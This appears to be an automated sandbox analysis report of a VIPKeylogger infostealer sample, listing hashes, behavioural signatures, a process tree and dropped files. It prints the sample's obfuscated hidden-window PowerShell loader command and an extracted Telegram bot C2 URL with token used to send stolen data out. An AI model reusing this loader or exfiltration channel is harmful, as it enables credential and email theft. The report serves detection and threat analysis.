Analysis

  • max time kernel
    144s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/02/2025, 01:50

General

  • Target

    87cf7164b78119e27b02fddc73bd339e81eb71c3d0a5c81722c065ff64bbcc11.exe

  • Size

    786KB

  • MD5

    7d86b00fcf326a69ff63a4112c70b00e

  • SHA1

    a176064c342fa83e99614f98dfb70bb82c5b60e4

  • SHA256

    87cf7164b78119e27b02fddc73bd339e81eb71c3d0a5c81722c065ff64bbcc11

  • SHA512

    25c3be5fed2446f9d549a68a21ddbcdd43b9d5741574c8afe26d357693669b0e828da20610b84861b5b878ff5d9fb3d360671ddc6b1b8a181a8db9eb92b4e0bc

  • SSDEEP

    24576:Taog+Lb1hElIM9LXIxZB4hC6ZzANJ9lBj94YyOq:TZgwSlIcz4aCAzu948q

Malware Config

Extracted

Family

vipkeylogger

C2

https://api.telegram.org/bot7564802476:AAFNFXEtg3BsKAA3SsfbX1loYJO05v_Jivo/sendMessage?chat_id=7904458796

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Blocklisted process makes network request 8 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\87cf7164b78119e27b02fddc73bd339e81eb71c3d0a5c81722c065ff64bbcc11.exe
    "C:\Users\Admin\AppData\Local\Temp\87cf7164b78119e27b02fddc73bd339e81eb71c3d0a5c81722c065ff64bbcc11.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1704
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Antegnede68=Get-Content -Raw 'C:\Users\Admin\AppData\Roaming\toytown\comminuate\segregerer\Wrynesses.Alg';$Buxtehude=$Antegnede68.SubString(54302,3);.$Buxtehude($Antegnede68)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4876
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:2604

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_otzq01se.iv1.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\toytown\comminuate\segregerer\Usandsynligt.Ver

    Filesize

    379KB

    MD5

    63de1104ff2547d796892a3c6b19e8f5

    SHA1

    34ef5ac6a29a6bc8198aa23d555c7c7d0ce2bc9d

    SHA256

    8bec41397f3b328f8e78891fe43a6ddecfb189a8c799a1b17aa8e90d7c05a6cd

    SHA512

    f102dfb991fdc1f8b9836bd8cf07b3f1935dc61e947dd378e6f9bd54221b4470fd0a72c67cc0aed3586c588b127a15e80e71e624c5562e92aebdc944a5e72d36

  • C:\Users\Admin\AppData\Roaming\toytown\comminuate\segregerer\Wrynesses.Alg

    Filesize

    53KB

    MD5

    f5b2b137807856875a8775b2ca0a78d9

    SHA1

    b0df4707f99a9f8d6424838fec2ab61cb777e421

    SHA256

    be590cff8cc5b344be42be1818daddaf6eb346ee427e7f6ce07ba3abd8238959

    SHA512

    34f9aae5557211f37342bf60b85b30031be09e5f03a58fc446730944bc801ebf7cc3763f6f601b92357459b82eb9252a6d37899a34456b6fcc42c4ecfb9d243e

  • memory/2604-91-0x0000000000CC0000-0x0000000001F14000-memory.dmp

    Filesize

    18.3MB

  • memory/2604-92-0x0000000000CC0000-0x0000000001F14000-memory.dmp

    Filesize

    18.3MB

  • memory/2604-101-0x00000000255B0000-0x00000000255BA000-memory.dmp

    Filesize

    40KB

  • memory/2604-100-0x0000000025DA0000-0x0000000025E32000-memory.dmp

    Filesize

    584KB

  • memory/2604-98-0x00000000262D0000-0x00000000267FC000-memory.dmp

    Filesize

    5.2MB

  • memory/2604-97-0x0000000025470000-0x00000000254C0000-memory.dmp

    Filesize

    320KB

  • memory/2604-96-0x0000000025BD0000-0x0000000025D92000-memory.dmp

    Filesize

    1.8MB

  • memory/2604-94-0x0000000025070000-0x000000002510C000-memory.dmp

    Filesize

    624KB

  • memory/2604-93-0x0000000000CC0000-0x0000000000D0A000-memory.dmp

    Filesize

    296KB

  • memory/4876-44-0x0000000007A10000-0x0000000007A42000-memory.dmp

    Filesize

    200KB

  • memory/4876-63-0x0000000008340000-0x000000000835A000-memory.dmp

    Filesize

    104KB

  • memory/4876-36-0x0000000006600000-0x000000000661E000-memory.dmp

    Filesize

    120KB

  • memory/4876-37-0x0000000006640000-0x000000000668C000-memory.dmp

    Filesize

    304KB

  • memory/4876-38-0x00000000076B0000-0x0000000007746000-memory.dmp

    Filesize

    600KB

  • memory/4876-40-0x0000000006BA0000-0x0000000006BC2000-memory.dmp

    Filesize

    136KB

  • memory/4876-39-0x0000000006B20000-0x0000000006B3A000-memory.dmp

    Filesize

    104KB

  • memory/4876-41-0x0000000007D00000-0x00000000082A4000-memory.dmp

    Filesize

    5.6MB

  • memory/4876-43-0x0000000008930000-0x0000000008FAA000-memory.dmp

    Filesize

    6.5MB

  • memory/4876-45-0x000000006FAD0000-0x000000006FB1C000-memory.dmp

    Filesize

    304KB

  • memory/4876-55-0x0000000007A50000-0x0000000007A6E000-memory.dmp

    Filesize

    120KB

  • memory/4876-56-0x0000000073640000-0x0000000073DF0000-memory.dmp

    Filesize

    7.7MB

  • memory/4876-25-0x0000000006010000-0x0000000006076000-memory.dmp

    Filesize

    408KB

  • memory/4876-57-0x0000000073640000-0x0000000073DF0000-memory.dmp

    Filesize

    7.7MB

  • memory/4876-58-0x0000000007A80000-0x0000000007B23000-memory.dmp

    Filesize

    652KB

  • memory/4876-59-0x0000000007B80000-0x0000000007B8A000-memory.dmp

    Filesize

    40KB

  • memory/4876-60-0x0000000007CE0000-0x0000000007CF1000-memory.dmp

    Filesize

    68KB

  • memory/4876-61-0x00000000082D0000-0x00000000082DE000-memory.dmp

    Filesize

    56KB

  • memory/4876-62-0x00000000082E0000-0x00000000082F4000-memory.dmp

    Filesize

    80KB

  • memory/4876-35-0x0000000006180000-0x00000000064D4000-memory.dmp

    Filesize

    3.3MB

  • memory/4876-64-0x0000000008310000-0x0000000008318000-memory.dmp

    Filesize

    32KB

  • memory/4876-65-0x0000000008380000-0x00000000083AA000-memory.dmp

    Filesize

    168KB

  • memory/4876-66-0x00000000083B0000-0x00000000083D4000-memory.dmp

    Filesize

    144KB

  • memory/4876-67-0x0000000073640000-0x0000000073DF0000-memory.dmp

    Filesize

    7.7MB

  • memory/4876-69-0x0000000073640000-0x0000000073DF0000-memory.dmp

    Filesize

    7.7MB

  • memory/4876-71-0x0000000073640000-0x0000000073DF0000-memory.dmp

    Filesize

    7.7MB

  • memory/4876-72-0x000000007364E000-0x000000007364F000-memory.dmp

    Filesize

    4KB

  • memory/4876-73-0x0000000073640000-0x0000000073DF0000-memory.dmp

    Filesize

    7.7MB

  • memory/4876-74-0x0000000008FB0000-0x000000000E053000-memory.dmp

    Filesize

    80.6MB

  • memory/4876-75-0x0000000073640000-0x0000000073DF0000-memory.dmp

    Filesize

    7.7MB

  • memory/4876-23-0x0000000005F30000-0x0000000005F96000-memory.dmp

    Filesize

    408KB

  • memory/4876-24-0x0000000073640000-0x0000000073DF0000-memory.dmp

    Filesize

    7.7MB

  • memory/4876-22-0x0000000005640000-0x0000000005662000-memory.dmp

    Filesize

    136KB

  • memory/4876-21-0x0000000005750000-0x0000000005D78000-memory.dmp

    Filesize

    6.2MB

  • memory/4876-20-0x0000000073640000-0x0000000073DF0000-memory.dmp

    Filesize

    7.7MB

  • memory/4876-19-0x0000000003030000-0x0000000003066000-memory.dmp

    Filesize

    216KB

  • memory/4876-18-0x000000007364E000-0x000000007364F000-memory.dmp

    Filesize

    4KB

  • memory/4876-76-0x0000000073640000-0x0000000073DF0000-memory.dmp

    Filesize

    7.7MB

  • memory/4876-78-0x0000000073640000-0x0000000073DF0000-memory.dmp

    Filesize

    7.7MB